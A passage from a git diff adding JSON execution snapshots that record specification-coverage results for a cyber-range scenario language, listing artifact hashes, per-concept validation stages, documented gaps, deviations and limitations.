"typed_pointer": "/nodes/shipping-portal/resources" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "missing", + "completeness_disposition": "documented-gap", + "concept_id": "formal-constraint-satisfiability", + "rationale": "This coverage matrix did not exercise a solver-backed carrier. The separate formal-semantic-validation release demonstrates its bounded finite-domain profile; that result is not silently imported into this protocol's missing carrier slot.", + "stage_results": [ + { + "artifact_path": "docs/explain/sdl/limitations.md", + "diagnostic_codes": [], + "note": "No coverage-carrier execution was performed here; independent solver evidence does not change this preregistered denominator.", + "outcome": "not_run", + "pointer": null, + "stage_id": "semantic", + "validation_strength": "not-applicable" + } + ], + "typed_pointer": null + }, + { + "backend_support": "profile-bound", + "backend_vocabulary_occurrences": [ + { + "allowed": true, + "artifact_path": "source:vsdl-paper", + "pointer": "source sections 4-5", + "reason": "Legitimate VSDL realization vocabulary, not RAES core SDL structure.", + "term": "OpenStack/Terraform/Packer" + } + ], + "classification": "deliberately-backend-specific", + "completeness_disposition": "external", + "concept_id": "provider-specific-provisioning", + "rationale": "Provider image selection and provisioning engines are realization mechanics and therefore remain outside core SDL.", + "stage_results": [ + { + "artifact_path": "contracts/profiles/backend/orchestration-capable.json", + "diagnostic_codes": [], + "note": "The portable boundary requires backend contracts; it does not standardize a provider engine.", + "outcome": "not_applicable", + "pointer": "/required_contracts", + "stage_id": "realization-disclosure", + "validation_strength": "profile" + } + ], + "typed_pointer": null + }, + { + "backend_support": "profile-bound", + "backend_vocabulary_occurrences": [], + "classification": "profile-or-manifest-constraint", + "completeness_disposition": "implemented", + "concept_id": "apparatus-clock-context", + "rationale": "ExperimentApparatusContextModel records clock authority, time domain, and synchronization as apparatus facts outside scenario meaning.", + "stage_results": [ + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-apparatus-context-v1/valid/reference.json", + "diagnostic_codes": [], + "note": "Closed apparatus context contract validated.", + "outcome": "passed", + "pointer": "/clocks/0", + "stage_id": "contract", + "validation_strength": "contract" + } + ], + "typed_pointer": "/clocks/0" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "missing", + "completeness_disposition": "documented-gap", + "concept_id": "federated-object-event-exchange", + "rationale": "The federated cyber object/event exchange carrier was not exercised by this preregistered matrix. Runtime event internals are not treated as equivalent evidence.", + "stage_results": [ + { + "artifact_path": "docs/explain/sdl/limitations.md", + "diagnostic_codes": [], + "note": "The missing coverage-carrier test is recorded explicitly, without inferring an ecosystem-wide capability absence.", + "outcome": "not_run", + "pointer": null, + "stage_id": "contract", + "validation_strength": "not-applicable" + } + ], + "typed_pointer": null + } + ], + "deviations": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "baseline_sha256": "54ba1a60220e27a55da9cd2a407d7d3ab836fa54460d0b0c6cad87c2e744ddbb", + "rationale": "Migrate participant affiliations and explicit objective assignment, retaining organizational intent and portable action-contract declarations without granting execution authority.", + "retest_sha256": "f7a8897beec243e188ee081975006fad32725f469f267db6e75a1e1cf5727032" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "baseline_sha256": "a27c7a64e0c5c618fadaccafdf1a4e71600170a8b77b983190822b5141f00dec", + "rationale": "Migrate participant affiliations and explicit objective assignment, retaining organizational intent and portable action-contract declarations without granting execution authority.", + "retest_sha256": "0d5497ec946b863e6985284ec487dde7d7f6bf710a985be51401ac0e5e79dc4f" + }, + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "baseline_sha256": "21952a752f4e8581a9fc3b872e4bc308150548170d38bcfc83dbbe35ff5e0b9f", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "f3edf713ac6af26bad609136851c6dd434bfb87ce919a2d8c4414c1035deeafc" + }, + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-apparatus-context-v1/valid/reference.json", + "baseline_sha256": "9536d897a09cbc6920e667e4f8f9371e51307aa0b3b5ff3c7de682dd783420ab", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "e6fa559c5e961f0aab448d0f70dead24aa74fa8ba5f20e1b72f88e11473c9299" + }, + { + "artifact_path": "docs/explain/sdl/limitations.md", + "baseline_sha256": "129cf17810aad4c51988bc872e28fe43ae95019a80053c42d800ff7e2b9cc93e", + "rationale": "Correct historical mandatory-profile guidance after issue #1207; retain the preregistered missing-concept classifications and coverage limits.", + "retest_sha256": "489eeab3ce682627682311581eb98af9abb9ff42a437145af266eefb71dc7fc4" + } + ], + "execution_status": "complete", + "implementation_surfaces": [ + { + "content_sha256": "d6a39a62f389a683207a7378378e9c0df3a87e88c44f677617be7af905141d79", + "path": "implementations/python/packages/raes_contracts", + "surface_id": "contract-models" + }, + { + "content_sha256": "27cf5d5bac07ef4b79d922e7c924832c89f13f12ab7e3a441b1a97557dba2b14", + "path": "implementations/python/packages/raes_processor", + "surface_id": "processor-pipeline" + }, + { + "content_sha256": "7de8bf15504fd996b11c7b9f15d0743b452d1c438b37174124097ff2f2a11028", + "path": "implementations/python/packages/raes", + "surface_id": "sdl-pipeline" + } + ], + "limitations": [ + "The execution validates the pinned reference implementation and published contracts, not an independent backend.", + "Repository-owned examples are exact execution artifacts but are not themselves the literature-derived request corpus; the protocol's requests and concepts are.", + "No live range, participant, simulator federation, or provider provisioning engine was executed.", + "Missing concepts remain frozen in this snapshot and require separately scoped product work before a later rerun.", + "This capture replays the retained protocol after EXP-732 run, apparatus, measurement-channel, and augmentation-producer provenance validation; it adds no independent backend or universal provenance assurance claim.", + "Materialization attestation is covered by its dedicated regression suite, not a new claim in this preregistered matrix.", + "This capture refreshes the corrected runtime limitations prose for issue #959; the protocol, coverage classifications and implementation source are unchanged.", + "This capture replays open-by-default augmentation scope integrated with the EXP-731 evidence refinements after composition type refinement; it does not evaluate native backend scope enforcement or broaden the preregistered coverage claims.", + "This capture replays the retained protocol after merging ACT-612 participant relationships with open-by-default augmentation scope; it adds no claim of realized participant relationships or native backend scope enforcement.", + "This capture replays issue #1299 partial listener descriptions on the integrated source state; endpoint completeness and backend admission remain outside this protocol's claims.", + "This capture also binds authoring-adapter semantic conformance to the integrated source; adapter transport behavior remains outside this protocol's claims.", + "Reviewed OCI mirror and pre-seed admission is covered by its own regression suites and the development artifact policy gate, not a new claim in this preregistered matrix.", + "This capture binds issue #1297 service-manager identity, native-name, and explicitly selected systemd-state contract changes to the integrated source. It exercises no live service manager and adds no backend-execution claim.", + "This capture replays the retained specification-coverage protocol after API-404 startup reconciliation added an operational recovery-observation contract. It does not evaluate crash recovery, classify provider effects, or broaden EXP-715 experiment-observation claims.", + "This capture binds API-404 single-owner store admission and immutable target/run scope to the integrated source. The retained offline protocol does not exercise process leases, SQLite lifecycle ordering, or crash recovery.", + "This capture binds issue #1015 deterministic mixed and staged trial admission to the integrated source. The retained offline language corpus does not execute mixed runtimes, phase transitions, backend handoff, or scheduler-driven realization.", + "This replay binds issue #1186 offline control-plane maintenance, readiness, and bounded audit code to the integrated source. The retained language corpus does not execute store recovery, HTTP health behavior, or audit redaction.", + "Issue #1187 control-plane crash/profile conformance and HTTP security changes are covered by their dedicated regression suite, not promoted to new claims by this retained corpus.", + "Issue #1189 control-plane profile declarations are covered by their dedicated runtime suite, not promoted to new claims by the retained language corpus.", + "Issue #1016 mixed-runtime coordination is covered by its dedicated runtime suite. The retained language corpus does not execute mixed providers or establish backend-native realization, multi-controller coordination, IFC, or equivalence.", + "Issue #610's reconciliation demonstration harness is covered by its dedicated processor and CLI suite, not promoted to new claims by the retained language corpus.", + "Participant identity, organization ownership, and participant assignment are separated by issue #1338. This retained offline corpus does not establish participant autonomy, execution authority, live backend fidelity, or causal attribution." + ], + "protocol_revision": "1.0.0", + "protocol_sha256": "e97a19e643e94c9e589dca823a63c6ce49d3329fe2a3cb888ab630838ed93125", + "raes_revision": "44a0fd9f722cae5653151723a7abfc6a7fe133cc", + "snapshot_id": "raes-standardized-specification-coverage-supply-chain-v65", + "snapshot_revision": "65.0.0", + "source_state": { + "base_revision": "44a0fd9f722cae5653151723a7abfc6a7fe133cc", + "checkout_state": "modified", + "implementation_digest": "1bc343832a6af025d7eef4a5033a64b17e20d00cce49a0906e1e4e4762c0a43d", + "profile": "python-reference-source/v2" + } +} diff --git a/docs/research/specification-coverage/execution-snapshot-v66.json b/docs/research/specification-coverage/execution-snapshot-v66.json new file mode 100644 index 000000000..a3e6b0ba1 --- /dev/null +++ b/docs/research/specification-coverage/execution-snapshot-v66.json @@ -0,0 +1,700 @@ +{ + "artifacts": [ + { + "artifact_id": "enterprise-participant-sdl", + "kind": "sdl", + "path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "sha256": "f7a8897beec243e188ee081975006fad32725f469f267db6e75a1e1cf5727032", + "validator": "raes parse, semantic, instantiation/admission, and compiler pipeline" + }, + { + "artifact_id": "port-range-sdl", + "kind": "sdl", + "path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "sha256": "0d5497ec946b863e6985284ec487dde7d7f6bf710a985be51401ac0e5e79dc4f", + "validator": "raes parse, semantic, instantiation/admission, and compiler pipeline" + }, + { + "artifact_id": "experiment-task-contract", + "kind": "experiment-task", + "path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "sha256": "f3edf713ac6af26bad609136851c6dd434bfb87ce919a2d8c4414c1035deeafc", + "validator": "raes_contracts.contracts.ExperimentTaskModel" + }, + { + "artifact_id": "apparatus-context-contract", + "kind": "experiment-apparatus-context", + "path": "contracts/fixtures/experiment-core/experiment-apparatus-context-v1/valid/reference.json", + "sha256": "e6fa559c5e961f0aab448d0f70dead24aa74fa8ba5f20e1b72f88e11473c9299", + "validator": "raes_contracts.contracts.ExperimentApparatusContextModel" + }, + { + "artifact_id": "backend-profile", + "kind": "backend-profile", + "path": "contracts/profiles/backend/orchestration-capable.json", + "sha256": "f70b8505a5c0055416db86c533e2e5bf08b11e5a514f076223b6d6c36215a092", + "validator": "raes_contracts.backend_profiles.BackendProfileModel" + }, + { + "artifact_id": "known-limitations", + "kind": "documentation", + "path": "docs/explain/sdl/limitations.md", + "sha256": "489eeab3ce682627682311581eb98af9abb9ff42a437145af266eefb71dc7fc4", + "validator": "documentation evidence only" + } + ], + "baseline": { + "release_revision": "1.1.0", + "release_sha256": "4020a1d56c7fe2831cec59ea64a12bbda9d38ccd94f93b916dd90f1a28f17fcb" + }, + "captured_at": "2026-09-30T22:41:24.312224+00:00", + "concept_results": [ + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "range-topology", + "rationale": "SDL nodes and infrastructure own host, network, link, and dependency meaning; the compiler emits canonical node deployment addresses.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed VM declaration.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Links and dependencies resolved.", + "outcome": "passed", + "pointer": "/infrastructure/shipping-portal", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Published instantiated shape admitted.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical deployment address retained.", + "outcome": "passed", + "pointer": "/node_deployments/provision.node.shipping-portal", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/nodes/shipping-portal" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "exercise-roles", + "rationale": "SDL entity roles own exercise responsibility without becoming control-plane identity or authorization.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed red role.", + "outcome": "passed", + "pointer": "/entities/enterprise-participant/role", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Entity references validated.", + "outcome": "passed", + "pointer": "/entities/enterprise-participant", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Role retained after instantiation.", + "outcome": "passed", + "pointer": "/entities/enterprise-participant/role", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Role retained in entity specification.", + "outcome": "passed", + "pointer": "/entity_specs/enterprise-participant/role", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/entities/enterprise-participant/role" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "evaluation-objectives", + "rationale": "SDL objectives own organization ownership, participant assignment, targets, windows, and assertion-based success; measures remain experiment contracts.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed objective declaration.", + "outcome": "passed", + "pointer": "/objectives/demonstrate-handoff", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Owner, participant assignment, targets, assertions, and workflow refs resolved.", + "outcome": "passed", + "pointer": "/objectives/demonstrate-handoff/success", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Objective retained in admitted artifact.", + "outcome": "passed", + "pointer": "/objectives/demonstrate-handoff", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical objective address retained.", + "outcome": "passed", + "pointer": "/objectives/evaluation.objective.demonstrate-handoff", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/objectives/demonstrate-handoff" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "control-workflows", + "rationale": "SDL workflows own the portable control graph and compile to canonical orchestration state contracts.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed control graph.", + "outcome": "passed", + "pointer": "/workflows/yard-recovery", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Step graph and objective refs validated.", + "outcome": "passed", + "pointer": "/workflows/yard-recovery/steps", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Workflow retained after instantiation.", + "outcome": "passed", + "pointer": "/workflows/yard-recovery", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical control graph retained.", + "outcome": "passed", + "pointer": "/workflows/orchestration.workflow.yard-recovery", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/workflows/yard-recovery" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "authored-evidence-expectations", + "rationale": "SDL evidence requirements own portable capture intent and remain distinct from evidence records and measures.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed capture obligation.", + "outcome": "passed", + "pointer": "/evidence_requirements/objective-truth-evidence", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Source refs and bindings validated.", + "outcome": "passed", + "pointer": "/evidence_requirements/objective-truth-evidence", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Evidence intent retained in admitted artifact.", + "outcome": "passed", + "pointer": "/evidence_requirements/objective-truth-evidence", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + } + ], + "typed_pointer": "/evidence_requirements/objective-truth-evidence" + }, + { + "backend_support": "profile-bound", + "backend_vocabulary_occurrences": [], + "classification": "profile-or-manifest-constraint", + "completeness_disposition": "implemented", + "concept_id": "apparatus-selection-constraints", + "rationale": "The experiment task contract binds processor/backend identities, manifest refs, and capabilities outside SDL.", + "stage_results": [ + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "diagnostic_codes": [], + "note": "Closed ExperimentTaskModel validated.", + "outcome": "passed", + "pointer": "/apparatus_constraints/allowed_backend_refs/0", + "stage_id": "contract", + "validation_strength": "contract" + } + ], + "typed_pointer": "/apparatus_constraints/allowed_backend_refs/0" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "participant-agent", + "rationale": "SDL agents own participant entity, knowledge, actions, observation boundaries, and operating scope.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed participant declaration.", + "outcome": "passed", + "pointer": "/agents/participant-agent", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Participant refs and scope validated.", + "outcome": "passed", + "pointer": "/agents/participant-agent/observation_boundaries", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Participant retained in admitted artifact.", + "outcome": "passed", + "pointer": "/agents/participant-agent", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Compiled participant scope retained.", + "outcome": "passed", + "pointer": "/agent_specs/participant-agent", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/agents/participant-agent" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "participant-action-contract", + "rationale": "The action contract declares portable preconditions, effects, observations, evidence, and failure classes without a runner command.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed action contract.", + "outcome": "passed", + "pointer": "/action_contracts/probe-customer-portal-login", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Action refs and evidence bindings validated.", + "outcome": "passed", + "pointer": "/action_contracts/probe-customer-portal-login/effects", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Action retained in admitted artifact.", + "outcome": "passed", + "pointer": "/action_contracts/probe-customer-portal-login", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical action address retained.", + "outcome": "passed", + "pointer": "/action_contracts/participant.action-contract.probe-customer-portal-login", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/action_contracts/probe-customer-portal-login" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "participant-observation-boundary", + "rationale": "The observation boundary separately declares visible, hidden, and evidence-only information with transition rules.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed observation boundary.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant-view", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Information refs and transitions validated.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant-view/view_rules", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Boundary retained in admitted artifact.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant-view", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical boundary address retained.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant.observation-boundary.participant-view", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/observation_boundaries/participant-view" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "evaluation-measure", + "rationale": "ExperimentTaskModel owns metric construct, unit, direction, aggregation, and evidence requirements outside SDL objectives.", + "stage_results": [ + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "diagnostic_codes": [], + "note": "Closed task contract validated.", + "outcome": "passed", + "pointer": "/evaluation_protocol/metric_definitions/foothold-achieved", + "stage_id": "contract", + "validation_strength": "contract" + } + ], + "typed_pointer": "/evaluation_protocol/metric_definitions/foothold-achieved" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "missing", + "completeness_disposition": "documented-gap", + "concept_id": "participant-tool-affordance", + "rationale": "This preregistered matrix has no tested carrier for participant tool affordances. The retained missing classification records missing coverage evidence, not the absence of current participant-behavior capabilities.", + "stage_results": [ + { + "artifact_path": "docs/explain/sdl/limitations.md", + "diagnostic_codes": [], + "note": "The preregistered carrier slot was not run; metadata does not substitute for a typed coverage test.", + "outcome": "not_run", + "pointer": null, + "stage_id": "authored", + "validation_strength": "not-applicable" + } + ], + "typed_pointer": null + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "resource-constrained-topology", + "rationale": "SDL node resources and infrastructure dependencies express portable resource intent without provider resource identifiers.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed CPU and memory declaration.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal/resources", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Resource-bearing topology validated.", + "outcome": "passed", + "pointer": "/infrastructure/shipping-portal", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Constraints retained in admitted artifact.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal/resources", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Deployment specification retains resource intent.", + "outcome": "passed", + "pointer": "/node_deployments/provision.node.shipping-portal", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/nodes/shipping-portal/resources" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "missing", + "completeness_disposition": "documented-gap", + "concept_id": "formal-constraint-satisfiability", + "rationale": "This coverage matrix did not exercise a solver-backed carrier. The separate formal-semantic-validation release demonstrates its bounded finite-domain profile; that result is not silently imported into this protocol's missing carrier slot.", + "stage_results": [ + { + "artifact_path": "docs/explain/sdl/limitations.md", + "diagnostic_codes": [], + "note": "No coverage-carrier execution was performed here; independent solver evidence does not change this preregistered denominator.", + "outcome": "not_run", + "pointer": null, + "stage_id": "semantic", + "validation_strength": "not-applicable" + } + ], + "typed_pointer": null + }, + { + "backend_support": "profile-bound", + "backend_vocabulary_occurrences": [ + { + "allowed": true, + "artifact_path": "source:vsdl-paper", + "pointer": "source sections 4-5", + "reason": "Legitimate VSDL realization vocabulary, not RAES core SDL structure.", + "term": "OpenStack/Terraform/Packer" + } + ], + "classification": "deliberately-backend-specific", + "completeness_disposition": "external", + "concept_id": "provider-specific-provisioning", + "rationale": "Provider image selection and provisioning engines are realization mechanics and therefore remain outside core SDL.", + "stage_results": [ + { + "artifact_path": "contracts/profiles/backend/orchestration-capable.json", + "diagnostic_codes": [], + "note": "The portable boundary requires backend contracts; it does not standardize a provider engine.", + "outcome": "not_applicable", + "pointer": "/required_contracts", + "stage_id": "realization-disclosure", + "validation_strength": "profile" + } + ], + "typed_pointer": null + }, + { + "backend_support": "profile-bound", + "backend_vocabulary_occurrences": [], + "classification": "profile-or-manifest-constraint", + "completeness_disposition": "implemented", + "concept_id": "apparatus-clock-context", + "rationale": "ExperimentApparatusContextModel records clock authority, time domain, and synchronization as apparatus facts outside scenario meaning.", + "stage_results": [ + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-apparatus-context-v1/valid/reference.json", + "diagnostic_codes": [], + "note": "Closed apparatus context contract validated.", + "outcome": "passed", + "pointer": "/clocks/0", + "stage_id": "contract", + "validation_strength": "contract" + } + ], + "typed_pointer": "/clocks/0" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "missing", + "completeness_disposition": "documented-gap", + "concept_id": "federated-object-event-exchange", + "rationale": "The federated cyber object/event exchange carrier was not exercised by this preregistered matrix. Runtime event internals are not treated as equivalent evidence.", + "stage_results": [ + { + "artifact_path": "docs/explain/sdl/limitations.md", + "diagnostic_codes": [], + "note": "The missing coverage-carrier test is recorded explicitly, without inferring an ecosystem-wide capability absence.", + "outcome": "not_run", + "pointer": null, + "stage_id": "contract", + "validation_strength": "not-applicable" + } + ], + "typed_pointer": null + } + ], + "deviations": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "baseline_sha256": "54ba1a60220e27a55da9cd2a407d7d3ab836fa54460d0b0c6cad87c2e744ddbb", + "rationale": "Migrate participant affiliations and explicit objective assignment, retaining organizational intent and portable action-contract declarations without granting execution authority.", + "retest_sha256": "f7a8897beec243e188ee081975006fad32725f469f267db6e75a1e1cf5727032" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "baseline_sha256": "a27c7a64e0c5c618fadaccafdf1a4e71600170a8b77b983190822b5141f00dec", + "rationale": "Migrate participant affiliations and explicit objective assignment, retaining organizational intent and portable action-contract declarations without granting execution authority.", + "retest_sha256": "0d5497ec946b863e6985284ec487dde7d7f6bf710a985be51401ac0e5e79dc4f" + }, + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "baseline_sha256": "21952a752f4e8581a9fc3b872e4bc308150548170d38bcfc83dbbe35ff5e0b9f", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "f3edf713ac6af26bad609136851c6dd434bfb87ce919a2d8c4414c1035deeafc" + }, + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-apparatus-context-v1/valid/reference.json", + "baseline_sha256": "9536d897a09cbc6920e667e4f8f9371e51307aa0b3b5ff3c7de682dd783420ab", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "e6fa559c5e961f0aab448d0f70dead24aa74fa8ba5f20e1b72f88e11473c9299" + }, + { + "artifact_path": "docs/explain/sdl/limitations.md", + "baseline_sha256": "129cf17810aad4c51988bc872e28fe43ae95019a80053c42d800ff7e2b9cc93e", + "rationale": "Correct historical mandatory-profile guidance after issue #1207; retain the preregistered missing-concept classifications and coverage limits.", + "retest_sha256": "489eeab3ce682627682311581eb98af9abb9ff42a437145af266eefb71dc7fc4" + } + ], + "execution_status": "complete", + "implementation_surfaces": [ + { + "content_sha256": "a64212a253972c4869d65b206f5751f06e4a2b25b43e1f6bd4eb2c1bd8be5e7c", + "path": "implementations/python/packages/raes_contracts", + "surface_id": "contract-models" + }, + { + "content_sha256": "27cf5d5bac07ef4b79d922e7c924832c89f13f12ab7e3a441b1a97557dba2b14", + "path": "implementations/python/packages/raes_processor", + "surface_id": "processor-pipeline" + }, + { + "content_sha256": "92efe6d6eaf0a680b8f8517344e0c677886cd56163b3fe86d27458c3c4dfb24b", + "path": "implementations/python/packages/raes", + "surface_id": "sdl-pipeline" + } + ], + "limitations": [ + "The execution validates the pinned reference implementation and published contracts, not an independent backend.", + "Repository-owned examples are exact execution artifacts but are not themselves the literature-derived request corpus; the protocol's requests and 